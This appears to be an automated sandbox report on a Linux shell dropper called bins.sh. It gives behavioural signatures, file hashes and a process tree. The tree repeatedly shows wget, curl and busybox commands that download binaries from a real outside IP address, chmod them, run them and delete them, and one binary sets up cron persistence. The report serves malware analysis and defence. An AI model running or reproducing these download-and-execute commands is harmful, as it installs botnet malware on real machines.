Analysis

  • max time kernel
    150s
  • max time network
    181s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    23-11-2024 20:50

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    acc93149a703834c82d35c5b31becff8

  • SHA1

    c3d8bf660a21eb45784dc9329194a0e80df1afca

  • SHA256

    ed0804977957488f570fda99c514fa0c6d363077f227de75b18857a47976523f

  • SHA512

    f8a9605ba45f141cadc156e369c781a754c0b300c0e6b14b01f4bd4e8d20be1f1ed6e748456d97cd052148bfa5faf31b79bbb34e625a0bcaac1a04ab52d4d120

  • SSDEEP

    192:mzkzszjA8AaiuKN1i72Pm2JG76GflnTlCQA1Z1ZdZc7PS9l9N9Me7xxq7maMV9LV:TWjruyx+F

Malware Config

Signatures

  • Contacts a large (1078) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:701
        • /usr/bin/wget
          wget http://87.120.125.191/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Writes file to tmp directory
          PID:705
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:713
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Writes file to tmp directory
          PID:725
        • /bin/chmod
          chmod 777 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          ./3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Executes dropped EXE
          PID:729
        • /bin/rm
          rm 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
            PID:731
          • /usr/bin/wget
            wget http://87.120.125.191/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Writes file to tmp directory
            PID:732
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/chmod
            chmod 777 sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • File and Directory Permissions Modification
            PID:736
          • /tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            ./sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Executes dropped EXE
            PID:737
          • /bin/rm
            rm sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
              PID:739
            • /usr/bin/wget
              wget http://87.120.125.191/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Writes file to tmp directory
              PID:740
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:741
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Writes file to tmp directory
              PID:742
            • /bin/chmod
              chmod 777 PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • File and Directory Permissions Modification
              PID:745
            • /tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              ./PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Executes dropped EXE
              PID:746
            • /bin/rm
              rm PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
                PID:750
              • /usr/bin/wget
                wget http://87.120.125.191/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Writes file to tmp directory
                PID:751
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Writes file to tmp directory
                PID:758
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Writes file to tmp directory
                PID:770
              • /bin/chmod
                chmod 777 OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • File and Directory Permissions Modification
                PID:774
              • /tmp/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                ./OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Executes dropped EXE
                PID:775
              • /bin/rm
                rm OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                  PID:778
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Writes file to tmp directory
                  PID:779
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Writes file to tmp directory
                  PID:786
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Writes file to tmp directory
                  PID:799
                • /bin/chmod
                  chmod 777 xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • File and Directory Permissions Modification
                  PID:802
                • /tmp/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  ./xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Executes dropped EXE
                  PID:804
                • /bin/rm
                  rm xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                    PID:807
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                    2⤵
                    • Writes file to tmp directory
                    PID:808
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                    2⤵
                    • Writes file to tmp directory
                    PID:810
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                    2⤵
                    • Writes file to tmp directory
                    PID:811
                  • /bin/chmod
                    chmod 777 NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                    2⤵
                    • File and Directory Permissions Modification
                    PID:812
                  • /tmp/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                    ./NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                    2⤵
                    • Executes dropped EXE
                    PID:813
                  • /bin/rm
                    rm NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                    2⤵
                      PID:815
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                      2⤵
                      • Writes file to tmp directory
                      PID:816
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:817
                    • /bin/busybox
                      /bin/busybox wget http://87.120.125.191/bins/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                      2⤵
                      • Writes file to tmp directory
                      PID:818
                    • /bin/chmod
                      chmod 777 bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                      2⤵
                      • File and Directory Permissions Modification
                      PID:819
                    • /tmp/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                      ./bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                      2⤵
                      • Executes dropped EXE
                      PID:820
                    • /bin/rm
                      rm bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                      2⤵
                        PID:822
                      • /usr/bin/wget
                        wget http://87.120.125.191/bins/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                        2⤵
                        • Writes file to tmp directory
                        PID:823
                      • /usr/bin/curl
                        curl -O http://87.120.125.191/bins/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:828
                      • /bin/busybox
                        /bin/busybox wget http://87.120.125.191/bins/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                        2⤵
                        • Writes file to tmp directory
                        PID:836
                      • /bin/chmod
                        chmod 777 YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                        2⤵
                        • File and Directory Permissions Modification
                        PID:839
                      • /tmp/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                        ./YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                        2⤵
                        • Executes dropped EXE
                        PID:840
                      • /bin/rm
                        rm YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                        2⤵
                          PID:843
                        • /usr/bin/wget
                          wget http://87.120.125.191/bins/0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:844
                        • /usr/bin/curl
                          curl -O http://87.120.125.191/bins/0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:851
                        • /bin/busybox
                          /bin/busybox wget http://87.120.125.191/bins/0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:860
                        • /bin/chmod
                          chmod 777 0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                          2⤵
                          • File and Directory Permissions Modification
                          PID:863
                        • /tmp/0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                          ./0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                          2⤵
                          • Executes dropped EXE
                          • System Network Configuration Discovery
                          PID:864
                        • /bin/rm
                          rm 0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                          2⤵
                          • System Network Configuration Discovery
                          PID:866
                        • /usr/bin/wget
                          wget http://87.120.125.191/bins/16q0jN9LOPirB2FfLbByHK76v5g5O9H2LK
                          2⤵
                          • Writes file to tmp directory
                          PID:867
                        • /usr/bin/curl
                          curl -O http://87.120.125.191/bins/16q0jN9LOPirB2FfLbByHK76v5g5O9H2LK
                          2⤵
                          • Writes file to tmp directory
                          PID:868
                        • /bin/busybox
                          /bin/busybox wget http://87.120.125.191/bins/16q0jN9LOPirB2FfLbByHK76v5g5O9H2LK
                          2⤵
                          • Writes file to tmp directory
                          PID:869
                        • /bin/chmod
                          chmod 777 16q0jN9LOPirB2FfLbByHK76v5g5O9H2LK
                          2⤵
                          • File and Directory Permissions Modification
                          PID:870
                        • /tmp/16q0jN9LOPirB2FfLbByHK76v5g5O9H2LK
                          ./16q0jN9LOPirB2FfLbByHK76v5g5O9H2LK
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:871
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:873
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                • Reads runtime system information
                                PID:874
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:875
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:876
                            • /bin/rm
                              rm 16q0jN9LOPirB2FfLbByHK76v5g5O9H2LK
                              2⤵
                                PID:878
                              • /usr/bin/wget
                                wget http://87.120.125.191/bins/3XY1qsUKEBylWEPvpOZz9KRIzDxNaTc32e
                                2⤵
                                  PID:886
                                • /usr/bin/curl
                                  curl -O http://87.120.125.191/bins/3XY1qsUKEBylWEPvpOZz9KRIzDxNaTc32e
                                  2⤵
                                    PID:962

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /tmp/16q0jN9LOPirB2FfLbByHK76v5g5O9H2LK

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /tmp/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /tmp/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /var/spool/cron/crontabs/tmp.8PBCQd

                                  Filesize

                                  210B

                                  MD5

                                  46cbdbacd7977bcd2d5cb24f16140b9f

                                  SHA1

                                  946c57fe024ed4619baa49022fb3178dc239812c

                                  SHA256

                                  ae17045eb06780d5d8ff2ed0a8636d0047c124d88a4e381dc4a46bd24cf005e0

                                  SHA512

                                  084ad7eee73edacd5e88371dcb0ef64664c3f545c26375351f66342cbd00aa7080b8fea2f1f27b33e6fd61318dd4b7b20f84c842dc4f2ce2ac7f107bf92c63a1